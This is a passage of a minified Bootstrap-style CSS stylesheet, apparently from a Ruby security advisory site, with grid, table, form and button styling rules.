.disclaimer{width:100%}.col-sm-pull-0{right:auto}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-3{right:25%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-6{right:50%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-9{right:75%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-12{right:100%}.col-sm-push-0{left:auto}.col-sm-push-1{left:8.33333333%}.col-sm-push-2{left:16.66666667%}.col-sm-push-3{left:25%}.col-sm-push-4{left:33.33333333%}.col-sm-push-5{left:41.66666667%}.col-sm-push-6{left:50%}.col-sm-push-7{left:58.33333333%}.col-sm-push-8{left:66.66666667%}.col-sm-push-9{left:75%}.col-sm-push-10{left:83.33333333%}.col-sm-push-11{left:91.66666667%}.col-sm-push-12{left:100%}.col-sm-offset-0{margin-left:0%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-3,#rubysec .new-vulns{margin-left:25%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-12{margin-left:100%}}@media (min-width: 992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-1{width:8.33333333%}.col-md-2{width:16.66666667%}.col-md-3{width:25%}.col-md-4{width:33.33333333%}.col-md-5{width:41.66666667%}.col-md-6{width:50%}.col-md-7{width:58.33333333%}.col-md-8{width:66.66666667%}.col-md-9{width:75%}.col-md-10{width:83.33333333%}.col-md-11{width:91.66666667%}.col-md-12{width:100%}.col-md-pull-0{right:auto}.col-md-pull-1{right:8.33333333%}.col-md-pull-2{right:16.66666667%}.col-md-pull-3{right:25%}.col-md-pull-4{right:33.33333333%}.col-md-pull-5{right:41.66666667%}.col-md-pull-6{right:50%}.col-md-pull-7{right:58.33333333%}.col-md-pull-8{right:66.66666667%}.col-md-pull-9{right:75%}.col-md-pull-10{right:83.33333333%}.col-md-pull-11{right:91.66666667%}.col-md-pull-12{right:100%}.col-md-push-0{left:auto}.col-md-push-1{left:8.33333333%}.col-md-push-2{left:16.66666667%}.col-md-push-3{left:25%}.col-md-push-4{left:33.33333333%}.col-md-push-5{left:41.66666667%}.col-md-push-6{left:50%}.col-md-push-7{left:58.33333333%}.col-md-push-8{left:66.66666667%}.col-md-push-9{left:75%}.col-md-push-10{left:83.33333333%}.col-md-push-11{left:91.66666667%}.col-md-push-12{left:100%}.col-md-offset-0{margin-left:0%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-3{margin-left:25%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-6{margin-left:50%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-9{margin-left:75%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-12{margin-left:100%}}@media (min-width: 1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666667%}.col-lg-3{width:25%}.col-lg-4{width:33.33333333%}.col-lg-5{width:41.66666667%}.col-lg-6{width:50%}.col-lg-7{width:58.33333333%}.col-lg-8{width:66.66666667%}.col-lg-9{width:75%}.col-lg-10{width:83.33333333%}.col-lg-11{width:91.66666667%}.col-lg-12{width:100%}.col-lg-pull-0{right:auto}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-3{right:25%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-6{right:50%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-9{right:75%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-12{right:100%}.col-lg-push-0{left:auto}.col-lg-push-1{left:8.33333333%}.col-lg-push-2{left:16.66666667%}.col-lg-push-3{left:25%}.col-lg-push-4{left:33.33333333%}.col-lg-push-5{left:41.66666667%}.col-lg-push-6{left:50%}.col-lg-push-7{left:58.33333333%}.col-lg-push-8{left:66.66666667%}.col-lg-push-9{left:75%}.col-lg-push-10{left:83.33333333%}.col-lg-push-11{left:91.66666667%}.col-lg-push-12{left:100%}.col-lg-offset-0{margin-left:0%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-12{margin-left:100%}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>thead>tr>td,.table>tbody>tr>th,.table>tbody>tr>td,.table>tfoot>tr>th,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>th,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>tfoot>tr>td{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>thead>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>thead>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>thead>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>thead>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>thead>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}.table-responsive{overflow-x:auto;min-height:0.01%}@media screen and (max-width: 767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;-o-transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;transition:border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{border:0;background-color:transparent}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eeeeee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio: 0){input[type="date"].form-control,input[type="time"].form-control,input[type="datetime-local"].form-control,input[type="month"].form-control{line-height:34px}input[type="date"].input-sm,.input-group-sm>input[type="date"].form-control,.input-group-sm>input[type="date"].input-group-addon,.input-group-sm>.input-group-btn>input[type="date"].btn,.input-group-sm input[type="date"],input[type="time"].input-sm,.input-group-sm>input[type="time"].form-control,.input-group-sm>input[type="time"].input-group-addon,.input-group-sm>.input-group-btn>input[type="time"].btn,.input-group-sm input[type="time"],input[type="datetime-local"].input-sm,.input-group-sm>input[type="datetime-local"].form-control,.input-group-sm>input[type="datetime-local"].input-group-addon,.input-group-sm>.input-group-btn>input[type="datetime-local"].btn,.input-group-sm input[type="datetime-local"],input[type="month"].input-sm,.input-group-sm>input[type="month"].form-control,.input-group-sm>input[type="month"].input-group-addon,.input-group-sm>.input-group-btn>input[type="month"].btn,.input-group-sm input[type="month"]{line-height:30px}input[type="date"].input-lg,.input-group-lg>input[type="date"].form-control,.input-group-lg>input[type="date"].input-group-addon,.input-group-lg>.input-group-btn>input[type="date"].btn,.input-group-lg input[type="date"],input[type="time"].input-lg,.input-group-lg>input[type="time"].form-control,.input-group-lg>input[type="time"].input-group-addon,.input-group-lg>.input-group-btn>input[type="time"].btn,.input-group-lg input[type="time"],input[type="datetime-local"].input-lg,.input-group-lg>input[type="datetime-local"].form-control,.input-group-lg>input[type="datetime-local"].input-group-addon,.input-group-lg>.input-group-btn>input[type="datetime-local"].btn,.input-group-lg input[type="datetime-local"],input[type="month"].input-lg,.input-group-lg>input[type="month"].form-control,.input-group-lg>input[type="month"].input-group-addon,.input-group-lg>.input-group-btn>input[type="month"].btn,.input-group-lg input[type="month"]{line-height:46px}}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-20px;margin-top:4px \9}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="radio"].disabled,fieldset[disabled] input[type="radio"],input[type="checkbox"][disabled],input[type="checkbox"].disabled,fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}.radio-inline.disabled,fieldset[disabled] .radio-inline,.checkbox-inline.disabled,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,fieldset[disabled] .radio label,.checkbox.disabled label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:7px;padding-bottom:7px;margin-bottom:0;min-height:34px}.form-control-static.input-lg,.input-group-lg>.form-control-static.form-control,.input-group-lg>.form-control-static.input-group-addon,.input-group-lg>.input-group-btn>.form-control-static.btn,.form-control-static.input-sm,.input-group-sm>.form-control-static.form-control,.input-group-sm>.form-control-static.input-group-addon,.input-group-sm>.input-group-btn>.form-control-static.btn{padding-left:0;padding-right:0}.input-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm,.input-group-sm>select.form-control,.input-group-sm>select.input-group-addon,.input-group-sm>.input-group-btn>select.btn{height:30px;line-height:30px}textarea.input-sm,.input-group-sm>textarea.form-control,.input-group-sm>textarea.input-group-addon,.input-group-sm>.input-group-btn>textarea.btn,select[multiple].input-sm,.input-group-sm>select[multiple].form-control,.input-group-sm>select[multiple].input-group-addon,.input-group-sm>.input-group-btn>select[multiple].btn{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm textarea.form-control,.form-group-sm select[multiple].form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg,.input-group-lg>select.form-control,.input-group-lg>select.input-group-addon,.input-group-lg>.input-group-btn>select.btn{height:46px;line-height:46px}textarea.input-lg,.input-group-lg>textarea.form-control,.input-group-lg>textarea.input-group-addon,.input-group-lg>.input-group-btn>textarea.btn,select[multiple].input-lg,.input-group-lg>select[multiple].form-control,.input-group-lg>select[multiple].input-group-addon,.input-group-lg>.input-group-btn>select[multiple].btn{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg textarea.form-control,.form-group-lg select[multiple].form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback,.input-group-lg>.form-control+.form-control-feedback,.input-group-lg>.input-group-addon+.form-control-feedback,.input-group-lg>.input-group-btn>.btn+.form-control-feedback,.input-group-lg+.form-control-feedback,.form-group-lg .form-control+.form-control-feedback{width:46px;height:46px;line-height:46px}.input-sm+.form-control-feedback,.input-group-sm>.form-control+.form-control-feedback,.input-group-sm>.input-group-addon+.form-control-feedback,.input-group-sm>.input-group-btn>.btn+.form-control-feedback,.input-group-sm+.form-control-feedback,.form-group-sm .form-control+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline,.has-success.radio label,.has-success.checkbox label,.has-success.radio-inline label,.has-success.checkbox-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline,.has-warning.radio label,.has-warning.checkbox label,.has-warning.radio-inline label,.has-warning.checkbox-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline,.has-error.radio label,.has-error.checkbox label,.has-error.radio-inline label,.has-error.checkbox-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.has-error .form-control-feedback{color:#a94442}.has-feedback label ~ .form-control-feedback{top:25px}.has-feedback label.sr-only ~ .form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width: 768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:27px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}.form-horizontal .form-group:before,.form-horizontal .form-group:after{content:" ";display:table}.form-horizontal .form-group:after{clear:both}@media (min-width: 768px){.form-horizontal .control-label{text-align:right;margin-bottom:0;padding-top:7px}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width: 768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width: 768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:14px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn:focus,.btn.focus,.btn:active:focus,.btn:active.focus,.btn.active:focus,.btn.active.focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus,.btn.focus{color:#333;text-decoration:none}.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default:focus,.btn-default.focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default:active,.btn-default.active,.open>.btn-default.dropdown-toggle{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default:active:hover,.btn-default:active:focus,.btn-default:active.focus,.btn-default.active:hover,.btn-default.active:focus,.btn-default.active.focus,.open>.btn-default.dropdown-toggle:hover,.open>.btn-default.dropdown-toggle:focus,.open>.btn-default.dropdown-toggle.focus{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default:active,.btn-default.active,.open>.btn-default.dropdown-toggle{background-image:none}.btn-default.disabled:hover,.btn-default.disabled:focus,.btn-default.disabled.focus,.btn-default[disabled]:hover,.btn-default[disabled]:focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default:hover,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default.focus{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary:focus,.btn-primary.focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary:active,.btn-primary.active,.open>.btn-primary.dropdown-toggle{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary:active:hover,.btn-primary:active:focus,.btn-primary:active.focus,.btn-primary.active:hover,.btn-primary.active:focus,.btn-primary.active.focus,.open>.btn-primary.dropdown-toggle:hover,.open>.btn-primary.dropdown-toggle:focus,.open>.btn-primary.dropdown-toggle.focus{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary:active,.btn-primary.active,.open>.btn-primary.dropdown-toggle{background-image:none}.btn-primary.disabled:hover,.btn-primary.disabled:focus,.btn-primary.disabled.focus,.btn-primary[disabled]:hover,.btn-primary[disabled]:focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary:hover,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary.focus{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:focus,.btn-success.focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success:active,.btn-success.active,.open>.btn-success.dropdown-toggle{color:#fff;background-color:#449d44;border-color:#398439}.btn-success:active:hover,.btn-success:active:focus,.btn-success:active.focus,.btn-success.active:hover,.btn-success.active:focus,.btn-success.active.focus,.open>.btn-success.dropdown-toggle:hover,.open>.btn-success.dropdown-toggle:focus,.open>.btn-success.dropdown-toggle.focus{color:#fff;background-color:#398439;border-color:#255625}.btn-success:active,.btn-success.active,.open>.btn-success.dropdown-toggle{background-image:none}.btn-success.disabled:hover,.btn-success.disabled:focus,.btn-success.disabled.focus,.btn-success[disabled]:hover,.btn-success[disabled]:focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success:hover,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success.focus{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info:focus,.btn-info.focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info:active,.btn-info.active,.open>.btn-info.dropdown-toggle{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info:active:hover,.btn-info:active:focus,.btn-info:active.focus,.btn-info.active:hover,.btn-info.active:focus,.btn-info.active.focus,.open>.btn-info.dropdown-toggle:hover,.open>.btn-info.dropdown-toggle:focus,.open>.btn-info.dropdown-toggle.focus{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info:active,.btn-info.active,.open>.btn-info.dropdown-toggle{background-image:none}.btn-info.disabled:hover,.btn-info.disabled:focus,.btn-info.disabled.focus,.btn-info[disabled]:hover,.btn-info[disabled]:focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info:hover,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info.focus{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:focus,.btn-warning.focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning:active,.btn-warning.active,.open>.btn-warning.dropdown-toggle{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning:active:hover,.btn-warning:active:focus,.btn-warning:active.focus,.btn-warning.active:hover,.btn-warning.active:focus,.btn-warning.active.focus,.open>.btn-warning.dropdown-toggle:hover,.open>.btn-warning.dropdown-toggle:focus,.open>.btn-warning.dropdown-toggle.focus{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning:active,.btn-warning.active,.open>.btn-warning.dropdown-toggle{background-image:none}.btn-warning.disabled:hover,.btn-warning.disabled:focus,.btn-warning.disabled.focus,.btn-warning[disabled]:hover,.btn-warning[disabled]:focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning:hover,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning.focus{background-color:#f0ad4e;border-color:#eea236}.btn-warning 